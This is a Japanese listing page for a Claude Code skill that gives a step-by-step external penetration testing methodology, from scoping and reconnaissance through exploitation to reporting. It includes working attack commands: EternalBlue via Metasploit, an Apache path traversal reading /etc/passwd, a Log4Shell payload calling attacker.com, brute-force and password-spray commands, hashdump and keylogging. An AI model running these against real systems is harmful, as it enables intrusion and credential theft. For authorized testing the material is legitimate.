performing-external-network-penetration-test について
セキュリティテスター向けの外部ネットワーク侵入テスト手順書です。許可と範囲の設定から偵察、脆弱性分析、エクスプロイト、侵入後の確認、報告までを、一般的なツール例とともに整理しています。
主な機能
- 01テストの許可と範囲の設定
- 02受動・能動的な偵察
- 03脆弱性のスキャンと検証
- 04ネットワークサービスとWebアプリのテスト
- 05侵入後の確認
- 06リスク別の報告書作成
活用シーン
- 01組織のインターネット公開資産の評価
- 02ファイアウォール、VPN、Webサービスの制御検証
- 03定期的なセキュリティ監査
- 04CVSSに基づく修正優先度の決定
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill performing-external-network-penetration-testインストール後、Claude Code で/performing-external-network-penetration-testを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEassets/template.mdreferences/api-reference.mdstandards.mdworkflows.mdscripts/agent.pyprocess.py詳細
外部ネットワーク侵入テストの実施
概要
外部ネットワーク侵入テストでは、ファイアウォール、ウェブサーバー、メールサーバー、DNS サーバー、VPN ゲートウェイ、クラウドエンドポイントなど、組織のインターネットに公開された資産を標的とする現実の攻撃者を想定します。目的は、悪意のある攻撃者に悪用される前に、PTES(侵入テスト実行標準)、OSSTMM、NIST SP 800-115 などのフレームワークに従って、悪用可能な脆弱性を特定することです。
使用する場面
- 外部ネットワーク侵入テストを実施するセキュリティ評価を行う場合
- 関連するセキュリティインシデントに対するインシデント対応手順に従う場合
- 定期的なセキュリティテストや監査活動を実施する場合
- 実地テストを通じてセキュリティ制御を検証する場合
前提条件
- 書面による承認(資産所有者が署名したエンゲージメントルール文書)
- 定義されたスコープ:IP 範囲、ドメイン、サブドメイン、除外対象
- テスト環境:ツールを最新の状態に更新した Kali Linux または Parrot OS
- IP ブロックを避けるための VPN/専用テストインフラストラクチャ
- テスト実施時間帯について SOC/NOC と調整すること
フェーズ 1 — エンゲージメント前の準備とスコープ設定
エンゲージメントルールの定義
Scope:
- Target IP ranges: 203.0.113.0/24, 198.51.100.0/24
- Domains: *.target.com, *.target.io
- Exclusions: 203.0.113.50 (production DB), *.staging.target.com
- Testing window: Mon-Fri 22:00-06:00 UTC
- Emergency contact: SOC Lead — +1-555-0100
- Authorization ID: PENTEST-2025-EXT-042
法的文書のチェックリスト
| 文書 | ステータス | 担当者 |
|---|---|---|
| 基本サービス契約(MSA) | 署名済み | 法務 |
| 作業明細書(SOW) | 署名済み | PM |
| エンゲージメントルール(RoE) | 署名済み | CISO |
| 免責書簡 | 署名済み | CTO |
| NDA | 署名済み | 法務 |
| 保険証明書 | 確認済み | リスク管理 |
フェーズ 2 — 偵察(情報収集)
パッシブ偵察
# OSINT — Subdomain enumeration
subfinder -d target.com -o subdomains.txt
amass enum -passive -d target.com -o amass_subs.txt
cat subdomains.txt amass_subs.txt | sort -u > all_subs.txt
# DNS record enumeration
dig target.com ANY +noall +answer
dig target.com MX +short
dig target.com NS +short
dig target.com TXT +short
# WHOIS and ASN lookup
whois target.com
whois -h whois.radb.net -- '-i origin AS12345'
# Certificate Transparency log search
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq '.[].name_value' | sort -u
# Google dorking
# site:target.com filetype:pdf
# site:target.com inurl:admin
# site:target.com intitle:"index of"
# Shodan enumeration
shodan search "org:Target Corp" --fields ip_str,port,product
shodan host 203.0.113.10
# Email harvesting
theHarvester -d target.com -b all -l 500 -f theharvester_results
# GitHub/GitLab secret scanning
trufflehog github --org=targetcorp --concurrency=5
gitleaks detect --source=https://github.com/targetcorp/repo
アクティブ偵察
# Host discovery — ping sweep
nmap -sn 203.0.113.0/24 -oG ping_sweep.gnmap
# TCP SYN scan — top 1000 ports
nmap -sS -sV -O -T4 203.0.113.0/24 -oA tcp_scan
# Full TCP port scan
nmap -sS -p- -T4 --min-rate 1000 203.0.113.0/24 -oA full_tcp
# UDP scan — top 100 ports
nmap -sU --top-ports 100 -T4 203.0.113.0/24 -oA udp_scan
# Service version and script scan
nmap -sV -sC -p 21,22,25,53,80,110,143,443,445,993,995,3389,8080,8443 203.0.113.0/24 -oA service_scan
# SSL/TLS enumeration
sslscan 203.0.113.10:443
testssl.sh --full https://target.com
# Web technology fingerprinting
whatweb -v https://target.com
wappalyzer https://target.com
フェーズ 3 — 脆弱性分析
自動スキャン
# Nessus scan (via CLI)
nessuscli scan --new --name "External-Pentest-2025" \
--targets 203.0.113.0/24 \
--policy "Advanced Network Scan"
# OpenVAS scan
gvm-cli socket --xml '<create_task>
<name>External Pentest</name>
<target id="target-uuid"/>
<config id="daba56c8-73ec-11df-a475-002264764cea"/>
</create_task>'
# Nuclei vulnerability scanner
nuclei -l all_subs.txt -t cves/ -t exposures/ -t misconfigurations/ \
-severity critical,high -o nuclei_results.txt
# Nikto web server scan
nikto -h https://target.com -output nikto_results.html -Format htm
# Directory and file enumeration
gobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php,asp,aspx,jsp,html,txt -o gobuster_results.txt
feroxbuster -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt \
--depth 3 -o ferox_results.txt
手動による脆弱性の検証
# Check for known CVEs on identified services
searchsploit apache 2.4.49
searchsploit openssh 8.2
# Test for default credentials
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
-P /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt \
ssh://203.0.113.10 -t 4
# Test VPN endpoints
ike-scan 203.0.113.20
# Check for IKEv1 aggressive mode
# SNMP enumeration
snmpwalk -v2c -c public 203.0.113.30
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt 203.0.113.0/24
# SMTP enumeration
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t 203.0.113.25
フェーズ 4 — エクスプロイト
ネットワークサービスのエクスプロイト
# Metasploit — EternalBlue (MS17-010) example
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 203.0.113.15
set LHOST 10.10.14.5
set LPORT 4444
exploit
# Apache RCE — CVE-2021-41773 / CVE-2021-42013
curl -s --path-as-is "https://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
# ProxyShell exploitation (Exchange)
python3 proxyshell_exploit.py -u https://mail.target.com -e [email protected]
# Log4Shell (CVE-2021-44228) testing
curl -H 'X-Api-Version: ${jndi:ldap://attacker.com/exploit}' https://target.com/api
ウェブアプリケーションのエクスプロイト
# SQL Injection with sqlmap
sqlmap -u "https://target.com/page?id=1" --batch --dbs --risk=3 --level=5
# XSS payload testing
dalfox url "https://target.com/search?q=test" --skip-bav
# Command injection testing
commix --url="https://target.com/ping?host=127.0.0.1" --batch
# File upload bypass
# Upload PHP shell with double extension: shell.php.jpg
# Test content-type bypass: application/octet-stream -> image/jpeg
パスワード攻撃
# Brute force RDP
crowbar -b rdp -s 203.0.113.40/32 -u admin -C /usr/share/wordlists/rockyou.txt -n 4
# Spray attack against OWA
sprayhound -U users.txt -p 'Spring2025!' -d target.com -url https://mail.target.com/owa
# Crack captured hashes
hashcat -m 5600 captured_ntlmv2.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
フェーズ 5 — エクスプロイト後
# Establish persistence (authorized testing only)
# Meterpreter session
meterpreter> sysinfo
meterpreter> getuid
meterpreter> hashdump
meterpreter> run post/multi/recon/local_exploit_suggester
# Privilege escalation check
# Linux
./linpeas.sh | tee linpeas_output.txt
# Windows
.\winPEAS.exe | tee winpeas_output.txt
# Data exfiltration proof
# Create proof file (DO NOT exfiltrate real sensitive data)
echo "PENTEST-PROOF-$(date +%Y%m%d)" > /tmp/pentest_proof.txt
# Network pivoting through compromised host
# Set up SOCKS proxy via SSH
ssh -D 9050 [email protected]
proxychains nmap -sT -p 80,443,445 10.0.0.0/24
# Screenshot and evidence collection
meterpreter> screenshot
meterpreter> keyscan_start
フェーズ 6 — レポート作成
検出事項の分類(CVSS v3.1)
| 深刻度 | CVSS 範囲 | 件数 | 例 |
|---|---|---|---|
| 重大 | 9.0-10.0 | 2 | 未パッチの Exchange による RCE(ProxyShell) |
| 高 | 7.0-8.9 | 5 | 顧客ポータルの SQL インジェクション |
| 中 | 4.0-6.9 | 8 | セキュリティヘッダーの欠如、TLS 1.0 |
| 低 | 0.1-3.9 | 12 | サーバーバナーによる情報漏えい |
| 情報 | 0.0 | 6 | オープンポートの記録 |
レポートの構成
1. Executive Summary
- Scope and objectives
- Key findings summary
- Risk rating overview
- Strategic recommendations
2. Technical Findings
For each finding:
- Title and CVSS score
- Affected asset(s)
- Description and impact
- Steps to reproduce (with screenshots)
- Evidence/proof of exploitation
- Remediation recommendation
- References (CVE, CWE)
3. Methodology
- Tools used
- Testing timeline
- Frameworks followed (PTES, OWASP)
4. Appendices
- Full scan results
- Network diagrams
- Raw tool output
修復の優先度マトリックス
| 優先度 | 期限 | 対応 |
|---|---|---|
| P1 — 重大 | 24-48 時間 | RCE 脆弱性にパッチを適用し、公開された管理パネルを無効化する |
| P2 — 高 | 1-2 週間 | インジェクションの欠陥を修正し、MFA を導入する |
| P3 — 中 | 30 日 | TLS 設定を強化し、セキュリティヘッダーを追加する |
| P4 — 低 | 60-90 日 | バージョンバナーを削除し、ドキュメントを更新する |
ツール一覧
| ツール | 用途 | ライセンス |
|---|---|---|
| Nmap | ポートスキャンとサービス列挙 | GPLv2 |
| Metasploit | エクスプロイトフレームワーク | BSD |
| Burp Suite Pro | ウェブアプリケーションのテスト | 商用 |
| Nuclei | 脆弱性スキャン | MIT |
| Subfinder | サブドメイン列挙 | MIT |
| SQLMap | SQL インジェクションテスト | GPLv2 |
| Nessus | 脆弱性スキャナー | 商用 |
| Gobuster | ディレクトリのブルートフォース探索 | Apache 2.0 |
| Hashcat | パスワードクラッキング | MIT |
| theHarvester | OSINT によるメールアドレス/ドメインの収集 | GPLv2 |
参考資料
- PTES(侵入テスト実行標準):http://www.pentest-standard.org/
- OWASP Testing Guide v4.2:https://owasp.org/www-project-web-security-testing-guide/
- NIST SP 800-115:情報セキュリティテストの技術ガイド:https://csrc.nist.gov/publications/detail/sp/800-115/final
- OSSTMM v3:https://www.isecom.org/OSSTMM.3.pdf
- MITRE ATT&CK:https://attack.mitre.org/
コメント
Markdown 対応